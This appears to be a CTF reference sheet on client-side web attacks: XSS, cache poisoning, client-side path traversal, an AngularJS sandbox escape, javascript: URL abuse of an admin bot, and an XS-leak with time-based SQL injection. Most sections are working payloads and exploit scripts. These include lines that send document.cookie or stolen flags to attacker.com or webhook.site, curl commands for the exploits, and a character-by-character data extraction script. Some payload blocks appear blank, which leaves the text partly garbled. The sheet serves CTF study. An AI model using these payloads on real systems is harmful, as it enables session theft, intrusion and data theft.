# CTF Web - Client-Side Attacks ## Table of Contents - [XSS Payloads](#xss-payloads) - [Basic](#basic) - [Cookie Exfiltration](#cookie-exfiltration) - [Filter Bypass](#filter-bypass) - [Hex/Unicode Bypass](#hexunicode-bypass) - [DOMPurify Bypass via Trusted Backend Routes](#dompurify-bypass-via-trusted-backend-routes) - [JavaScript String Replace Exploitation](#javascript-string-replace-exploitation) - [Client-Side Path Traversal (CSPT)](#client-side-path-traversal-cspt) - [Cache Poisoning](#cache-poisoning) - [X-Forwarded-Host CDN Template Fetch Poisoning (CSAW 2018)](#x-forwarded-host-cdn-template-fetch-poisoning-csaw-2018) - [Hidden DOM Elements](#hidden-dom-elements) - [React-Controlled Input Programmatic Filling](#react-controlled-input-programmatic-filling) - [Magic Link + Redirect Chain XSS](#magic-link--redirect-chain-xss) - [Content-Type via File Extension](#content-type-via-file-extension) - [DOM XSS via jQuery Hashchange (Crypto-Cat)](#dom-xss-via-jquery-hashchange-crypto-cat) - [Shadow DOM XSS](#shadow-dom-xss) - [DOM Clobbering + MIME Mismatch](#dom-clobbering--mime-mismatch) - [HTTP Request Smuggling via Cache Proxy](#http-request-smuggling-via-cache-proxy) - [CSS/JS Paywall Bypass](#cssjs-paywall-bypass) - [JPEG+HTML Polyglot XSS (EHAX 2026)](#jpeghtml-polyglot-xss-ehax-2026) - [JSFuck Decoding](#jsfuck-decoding) - [AngularJS 1.x Sandbox Escape via charAt/trim Override (Google CTF 2017)](#angularjs-1x-sandbox-escape-via-charattrim-override-google-ctf-2017) - [Admin Bot javascript: URL Scheme Bypass (DiceCTF 2026)](#admin-bot-javascript-url-scheme-bypass-dicectf-2026) - [XS-Leak via Image Load Timing + GraphQL CSRF (HTB GrandMonty)](#xs-leak-via-image-load-timing--graphql-csrf-htb-grandmonty) - [Why it works](#why-it-works) - [Step 1 — Redirect bot via meta refresh (CSP bypass)](#step-1--redirect-bot-via-meta-refresh-csp-bypass) - [Step 2 — Timing oracle via image loads](#step-2--timing-oracle-via-image-loads) - [Step 3 — Character-by-character extraction](#step-3--character-by-character-extraction) - [Step 4 — Host exploit and tunnel](#step-4--host-exploit-and-tunnel) - [jQuery `$(location.hash)` CSS Selector Timing Leak (hxp 2018)](#jquery-locationhash-css-selector-timing-leak-hxp-2018) --- ## XSS Payloads ### Basic ```html

``` ### Cookie Exfiltration ```html

``` ### Filter Bypass ```html

` --- ## Client-Side Path Traversal (CSPT) Frontend JS uses URL param in fetch without validation: ```javascript const profileId = urlParams.get("id"); fetch("/log/" + profileId, { method: "POST", body: JSON.stringify({...}) }); ``` Exploit: `/user/profile?id=../admin/addAdmin` → fetches `/admin/addAdmin` with CSRF body Parameter pollution: `/user/profile?id=1&id=../admin/addAdmin` (backend uses first, frontend uses last) --- ## Cache Poisoning CDN/cache keys only on URL: ```python requests.get(f"{TARGET}/search?query=harmless", data=f"query=") # All visitors to /search?query=harmless get XSS ``` ### X-Forwarded-Host CDN Template Fetch Poisoning (CSAW 2018) **Pattern:** A CDN fronting the app keys cached responses only on path + query. A backend Mustache template renders a `` injection (Shadow Fight 2):** Keyword filters often miss HTML structural tags. `` closes existing script context, `''' polyglot = jpeg_data + b'\n' + html_payload.encode() # Upload as .html with image/jpeg content type ``` **PoW bypass:** Many CTF report endpoints require SHA-256 proof-of-work: ```python import hashlib nonce = 0 while True: h = hashlib.sha256((challenge + str(nonce)).encode()).hexdigest() if h.startswith('0' * difficulty): break nonce += 1 ``` **Exfiltration methods (ranked by reliability):** 1. **Self-upload:** Fetch `/admin`, upload result as filename → check `/files` for new uploads 2. **Webhook:** `fetch('https://webhook.site/ID?flag='+data)` — may be blocked by CSP 3. **DNS exfil:** `new Image().src = 'http://'+btoa(flag)+'.attacker.com'` — bypasses most CSP **Key insight:** JPEG files are tolerant of trailing data. Browsers parse HTML from anywhere in the response when MIME allows it. The polyglot is simultaneously a valid JPEG and valid HTML. --- ## JSFuck Decoding **Pattern (JShit, PascalCTF 2026):** Page source contains JSFuck (`[]()!+` only). Decode by removing trailing `()()` and calling `.toString()` in Node.js: ```javascript const code = fs.readFileSync('jsfuck.js', 'utf8'); // Remove last () to get function object instead of executing const func = eval(code.slice(0, -2)); console.log(func.toString()); // Reveals original code with hardcoded flag ``` --- ## AngularJS 1.x Sandbox Escape via charAt/trim Override (Google CTF 2017) **Pattern:** AngularJS versions before 1.6 sandbox expressions to prevent arbitrary JavaScript execution in `{{ }}` bindings. The sandbox relies on `charAt` to validate identifiers character by character. Override `charAt` with `trim` on `String.prototype` to bypass the check, then use `$eval` to execute arbitrary JS. **Payload:** ```javascript {{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,window.location="http://attacker.com/"+document.cookie,a')}} ``` **How it works:** 1. `toString().constructor.prototype` accesses `String.prototype` 2. `a.charAt=a.trim` replaces `charAt` with `trim` on all strings 3. The sandbox calls `charAt(0)` on identifiers to validate them -- but `trim` returns the full string instead of a single character 4. This breaks the character-by-character validation, allowing any expression 5. `$eval('expression')` evaluates arbitrary JavaScript in the Angular scope **Shorter variants for different AngularJS versions:** ```javascript {{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1)')}} {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//')}} {{constructor.constructor('return window.location="http://attacker.com/"+document.cookie')()}} ``` **Detection:** Look for `ng-app` or `ng-controller` directives in HTML, AngularJS script includes (`angular.js` or `angular.min.js`), and `{{ }}` expression bindings that reflect user input. **Key insight:** The sandbox relies on `charAt` to validate identifiers. Replacing it with `trim` (which returns the full string) bypasses the character-by-character check, allowing arbitrary expression evaluation. AngularJS 1.6+ removed the sandbox entirely (acknowledging it was never a security boundary), but many CTFs and legacy apps still use older versions. --- ## Admin Bot javascript: URL Scheme Bypass (DiceCTF 2026) **Pattern (Mirror Temple):** Admin bot navigates to user-supplied URL, validates with `new URL()` which only checks syntax — not protocol scheme. `javascript:` URLs pass validation and execute arbitrary JS in the bot's authenticated context. **Vulnerable validation:** ```javascript try { new URL(targetUrl) // Accepts javascript:, data:, file:, etc. } catch { process.exit(1) } await page.goto(targetUrl, { waitUntil: "domcontentloaded" }) ``` **Exploit:** ```bash # 1. Create authenticated session (bot requires valid cookie) curl -i -X POST 'https://target/postcard-from-nyc' \ --data-urlencode 'name=test' \ --data-urlencode 'flag=dice{test}' \ --data-urlencode 'portrait=' # Extract save=... cookie from Set-Cookie header # 2. Submit javascript: URL to report endpoint curl -X POST 'https://target/report' \ -H 'Cookie: save=YOUR_COOKIE' \ --data-urlencode "url=javascript:fetch('/flag').then(r=>r.text()).then(f=>location='https://webhook.site/ID/?flag='+encodeURIComponent(f))" ``` **Why CSP/SRI don't help (B-Side variant):** The B-Side adds inlined CSS, SRI integrity hashes on scripts, and strict CSP. None of these matter because `javascript:` URLs execute in a **navigation context** — the bot navigates to the JS URL directly, not injecting into an existing page. The CSP of the target page is irrelevant since the JS runs before any page loads. **Fix:** ```javascript const u = new URL(targetUrl) if (!['http:', 'https:'].includes(u.protocol)) { process.exit(1) } ``` **Key insight:** `new URL()` is a **syntax** validator, not a **security** validator. It accepts `javascript:`, `data:`, `file:`, `blob:`, and other dangerous schemes. Any admin bot or SSRF handler using `new URL()` alone for validation is vulnerable. Always allowlist protocols explicitly. --- ## XS-Leak via Image Load Timing + GraphQL CSRF (HTB GrandMonty) **Pattern:** Admin bot visits attacker page → JavaScript makes cross-origin requests to `localhost` GraphQL endpoint → measures time-based SQLi via image load timing → exfiltrates data character by character. ### Why it works 1. **GraphQL GET CSRF:** Many GraphQL implementations accept GET requests (not just POST+JSON). GET requests with images bypass CORS preflight — no `OPTIONS` check needed. 2. **Bot runs on localhost:** The admin bot's browser can reach `localhost:1337/graphql` which is restricted from external access. 3. **Image error timing:** `new Image().src = url` fires `onerror` after the server responds. If SQL `SLEEP(1)` executes, the response is slow → timing difference reveals whether a character matches. ### Step 1 — Redirect bot via meta refresh (CSP bypass) When CSP blocks inline scripts, use HTML injection with `` redirect: ```bash curl -b cookies.txt "http://TARGET/api/chat/send" \ -X POST -H "Content-Type: application/json" \ -d '{"message": ""}' ``` The bot navigates to the attacker page, where JavaScript executes freely (different origin, no CSP restriction). ### Step 2 — Timing oracle via image loads ```javascript const imageLoadTime = (src) => { return new Promise((resolve) => { let start = performance.now(); const img = new Image(); img.onload = () => resolve(0); img.onerror = () => resolve(performance.now() - start); img.src = src; }); }; const xsLeaks = async (query) => { let imgURL = 'http://127.0.0.1:1337/graphql?query=' + encodeURIComponent(query); let delay = await imageLoadTime(imgURL); return delay >= 1000; // SLEEP(1) threshold }; ``` ### Step 3 — Character-by-character extraction ```javascript let sqlTemp = `query { RansomChat(enc_id: "123' and __LEFT__ = __RIGHT__)-- -") {id, enc_id, message, created_at} }`; let readQueryTemp = `(select sleep(1) from dual where BINARY(SUBSTRING((select password from db.users where username = 'target'),__POS__,1))`; let flag = ''; for (let pos = 1; ; pos++) { for (let c of charset) { let readQuery = readQueryTemp.replace('__POS__', pos); let sql = sqlTemp.replace('__LEFT__', readQuery) .replace('__RIGHT__', `'${c}'`); if (await xsLeaks(sql)) { flag += c; new Image().src = exfilURL + '?d=' + encodeURIComponent(flag); break; } } } ``` ### Step 4 — Host exploit and tunnel ```bash # Cloudflare Tunnel (recommended — no interstitial pages unlike ngrok) cloudflared tunnel --url http://localhost:8888 python3 -m http.server 8888 ``` **Key insight:** GraphQL GET requests bypass CORS preflight entirely — `new Image().src` triggers a simple GET that doesn't need `OPTIONS`. Combined with timing-based SQLi (`SLEEP()`), image `onerror` timing becomes a boolean oracle. The bot's localhost access turns a localhost-only SQLi into a remotely exploitable vulnerability. **Detection:** Chat/message features with HTML injection + admin bot + GraphQL endpoint with SQL injection + localhost-only restrictions. --- ## jQuery `$(location.hash)` CSS Selector Timing Leak (hxp 2018) **Pattern:** Target page calls `$(location.hash).addClass(...)`. Passing a URL fragment that parses as a CSS selector causes jQuery to invoke Sizzle, which walks the DOM matching the selector. Stacking deeply nested `:has()` pseudo-classes blows up selector evaluation time predictably (~2 s) only when the selector *matches*, creating a Boolean timing oracle on any attribute the bot's DOM exposes (for example `body[data-user-id^='1']`). ```text http://127.0.0.1/?id=...#*:has(*:has(*:has(*:has(*:has(body[data-user-id^='1']))))) ``` Exfiltrate by firing two `new Image().src` requests to attacker-controlled endpoints (`/firstping`, `/secondping`) around the `addClass` call and measuring the delta: ~20 ms = mismatch, ~2 s = match. **Key insight:** jQuery's `$` with a string argument treats anything beginning with `<` as HTML and everything else as a selector. Any sink that lets an attacker put arbitrary text into `$()` becomes both an XSS and a selector-timing oracle. **References:** hxp CTF 2018 — µblog, writeup 12554